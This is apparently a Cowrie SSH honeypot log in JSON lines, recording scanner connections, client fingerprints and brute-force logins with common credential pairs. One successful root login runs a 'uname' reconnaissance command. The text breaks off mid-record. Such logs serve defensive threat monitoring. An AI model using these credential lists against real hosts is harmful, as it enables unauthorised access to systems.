{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:39:50.809727Z","src_ip":"2.57.122.208","session":"4852222b25b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:39:51.725184Z","src_ip":"2.57.122.208","session":"4852222b25b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:39:52.964242Z","src_ip":"2.57.122.208","session":"4852222b25b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"39.102.55.188","src_port":44866,"dst_ip":"159.203.135.109","dst_port":22,"session":"954e3aeae8cc","protocol":"ssh","message":"New connection: 39.102.55.188:44866 (159.203.135.109:22) [session: 954e3aeae8cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:26.057084Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:26.061745Z","src_ip":"39.102.55.188","session":"954e3aeae8cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":46180,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b608df4688f","protocol":"ssh","message":"New connection: 92.118.39.92:46180 (159.203.135.109:22) [session: 1b608df4688f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:26.713990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:26.718358Z","src_ip":"92.118.39.92","session":"1b608df4688f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:26.817369Z","src_ip":"92.118.39.92","session":"1b608df4688f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:27.124744Z","src_ip":"92.118.39.92","session":"1b608df4688f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":39646,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8fec6346416","protocol":"ssh","message":"New connection: 195.178.110.218:39646 (10.17.0.5:22) [session: c8fec6346416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:28.110513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:28.117954Z","src_ip":"195.178.110.218","session":"c8fec6346416","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:28.193059Z","src_ip":"195.178.110.218","session":"c8fec6346416","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:28.225744Z","src_ip":"92.118.39.92","session":"1b608df4688f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:28.418146Z","src_ip":"195.178.110.218","session":"c8fec6346416","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:29.494503Z","src_ip":"195.178.110.218","session":"c8fec6346416","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":50776,"dst_ip":"10.17.0.5","dst_port":22,"session":"07e01b329462","protocol":"ssh","message":"New connection: 162.120.6.20:50776 (10.17.0.5:22) [session: 07e01b329462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:36.241127Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:36.313097Z","src_ip":"162.120.6.20","session":"07e01b329462","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":50788,"dst_ip":"10.17.0.5","dst_port":22,"session":"c543d2a2f755","protocol":"ssh","message":"New connection: 162.120.6.20:50788 (10.17.0.5:22) [session: c543d2a2f755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:36.382543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:36.385986Z","src_ip":"162.120.6.20","session":"c543d2a2f755","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:36.456790Z","src_ip":"162.120.6.20","session":"c543d2a2f755","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qwe123QWE!@#","message":"login attempt [root/qwe123QWE!@#] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:36.670952Z","src_ip":"162.120.6.20","session":"c543d2a2f755","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:36.838428Z","src_ip":"162.120.6.20","session":"c543d2a2f755","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:36.841223Z","src_ip":"162.120.6.20","session":"c543d2a2f755","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:36.914910Z","src_ip":"162.120.6.20","session":"c543d2a2f755","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:36.919182Z","src_ip":"162.120.6.20","session":"c543d2a2f755","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.10.160.98","src_port":60158,"dst_ip":"159.203.135.109","dst_port":22,"session":"422d499a42b8","protocol":"ssh","message":"New connection: 157.10.160.98:60158 (159.203.135.109:22) [session: 422d499a42b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:39.931379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:39.936082Z","src_ip":"157.10.160.98","session":"422d499a42b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:40.188645Z","src_ip":"157.10.160.98","session":"422d499a42b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pal","password":"12345678","message":"login attempt [pal/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:41.223251Z","src_ip":"157.10.160.98","session":"422d499a42b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:42.476393Z","src_ip":"157.10.160.98","session":"422d499a42b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.227","src_port":58448,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea2e4e887c1e","protocol":"ssh","message":"New connection: 185.196.10.227:58448 (159.203.135.109:22) [session: ea2e4e887c1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:53.969872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:53.974903Z","src_ip":"185.196.10.227","session":"ea2e4e887c1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:54.084663Z","src_ip":"185.196.10.227","session":"ea2e4e887c1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"password","message":"login attempt [azureuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:54.556603Z","src_ip":"185.196.10.227","session":"ea2e4e887c1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:41:55.668528Z","src_ip":"185.196.10.227","session":"ea2e4e887c1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":32974,"dst_ip":"159.203.135.109","dst_port":22,"session":"b115a7130d37","protocol":"ssh","message":"New connection: 2.57.122.208:32974 (159.203.135.109:22) [session: b115a7130d37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:42:03.268055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:42:03.374797Z","src_ip":"2.57.122.208","session":"b115a7130d37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:42:03.378449Z","src_ip":"2.57.122.208","session":"b115a7130d37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:42:04.006439Z","src_ip":"2.57.122.208","session":"b115a7130d37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:42:05.217557Z","src_ip":"2.57.122.208","session":"b115a7130d37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.225.32.19","src_port":54396,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbb51aedee05","protocol":"ssh","message":"New connection: 64.225.32.19:54396 (159.203.135.109:22) [session: cbb51aedee05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:42:31.950039Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:42:32.028623Z","src_ip":"64.225.32.19","session":"cbb51aedee05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.225.32.19","src_port":54398,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ba9d8d21d86","protocol":"ssh","message":"New connection: 64.225.32.19:54398 (159.203.135.109:22) [session: 2ba9d8d21d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:42:32.274662Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:42:32.309306Z","src_ip":"64.225.32.19","session":"2ba9d8d21d86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:42:32.313841Z","src_ip":"64.225.32.19","session":"2ba9d8d21d86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":33406,"dst_ip":"159.203.135.109","dst_port":22,"session":"48101b582dfc","protocol":"ssh","message":"New connection: 92.118.39.92:33406 (159.203.135.109:22) [session: 48101b582dfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:43:42.276615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:43:42.281121Z","src_ip":"92.118.39.92","session":"48101b582dfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp